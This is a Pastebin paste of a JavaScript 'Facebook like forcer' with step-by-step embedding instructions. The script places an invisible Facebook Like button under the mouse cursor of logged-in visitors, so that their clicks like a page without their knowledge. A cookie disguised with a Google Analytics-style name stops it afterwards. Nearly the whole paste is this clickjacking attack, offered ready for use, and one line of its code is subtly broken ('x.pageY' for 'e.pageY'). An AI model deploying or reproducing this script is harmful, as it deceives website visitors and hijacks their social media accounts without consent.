Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Source: https://rstforums.com/forum/70849-javascript-facebook-like-forcer.rst
- <!-- Copy this part right after the opening <body> tag -->
- <div id="fb-root"></div>
- <!-- ################################################# -->
- <!-- You can copy this part where you want inside the <body> tag -->
- <div id="ltfb_app" style="position:absolute;opacity:0">
- <fb:like href="FACEBOOK_PAGE_HERE" send="false" layout="button_count" width="50" show_faces="false" font="arial"></fb:like>
- </div>
- <!-- ########################################################### -->
- <!-- This is the jQuery lib source code. You can copy it where you want,
- but it's important to be above the bellow script. Also, check to see
- if you aren't already loading this script in your <head> tag, or
- someplace else. If you do, you don't need to load it again -->
- <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
- <!-- #################################################################### -->
- <!-- Copy this part right above the closing </body> tag -->
- <script type="text/javascript">
- var appID = 'FACEBOOK_APP_ID';
- /////////////////////////////////////////
- ////// Don't modify anything in this part
- // This is the jQuery cookies lib
- (function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory);}else{factory(jQuery);}}(function($){var pluses=/\+/g;function raw(s){return s;}function decoded(s){return decodeURIComponent(s.replace(pluses,' '));}function converted(s){if(s.indexOf('"')===0){s=s.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,'\\');}try {return config.json?JSON.parse(s):s;}catch(er){}}var config=$.cookie=function(key,value,options){if(value!==undefined){options=$.extend({},config.defaults,options);if(typeof options.expires==='number'){var days=options.expires,t=options.expires=new Date();t.setDate(t.getDate()+days);}value=config.json?JSON.stringify(value):String(value);return(document.cookie=[config.raw?key:encodeURIComponent(key),'=',config.raw?value:encodeURIComponent(value),options.expires?'; expires='+options.expires.toUTCString():'',options.path?'; path='+options.path:'',options.domain?'; domain='+options.domain:'',options.secure?'; secure':''].join(''));}var decode=config.raw?raw:decoded;var cookies=document.cookie.split('; ');var result=key?undefined:{};for(var i=0,l=cookies.length;i<l;i++){var parts=cookies[i].split('=');var name=decode(parts.shift());var cookie=decode(parts.join('='));if(key&&key===name){result=converted(cookie);break;}if(!key){result[name]=converted(cookie);}}return result;};config.defaults={};$.removeCookie=function(key,options){if($.cookie(key)!==undefined){$.cookie(key,'',$.extend({},options,{expires:-1}));return true;}return false;};}));
- // And this loads the JS SDK required for the FB functions
- (function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id))return;js=d.createElement(s);js.id=id;js.src="https://connect.facebook.net/en_US/all.js#xfbml=1";fjs.parentNode.insertBefore(js,fjs);}(document,'script','facebook-jssdk'));
- //////////////////////////////////////////
- //////////////////////////////////////////
- ////// You can modify from this point on
- $(document).ready(function(){
- window.fbAsyncInit = function(){
- if ($.cookie('__utmfbl') != '1')
- {
- FB.init({appId:appID, status:true, cookie:true, xfbml:true});
- FB.Event.subscribe('edge.create', function(response){
- if (response.length > 1)
- {
- $('#ltfb_app').css({'display':'none'});
- $.cookie('__utmfbl', '1', { expires: 9999 });
- }
- });
- FB.getLoginStatus(function(response){
- if (response.status != "unknown")
- {
- $(document).on('mousemove',function(e){
- $("#ltfb_app").css({ left: e.pageX - 12, top: x.pageY - 12 });
- });
- }
- else
- $('#ltfb_app').css({'display':'none'});
- });
- } else
- $('#ltfb_app').css({'display':'none'});
- };
- });
- </script>
- <!-- ################################################## -->
Advertisement
Add Comment
Please, Sign In to add comment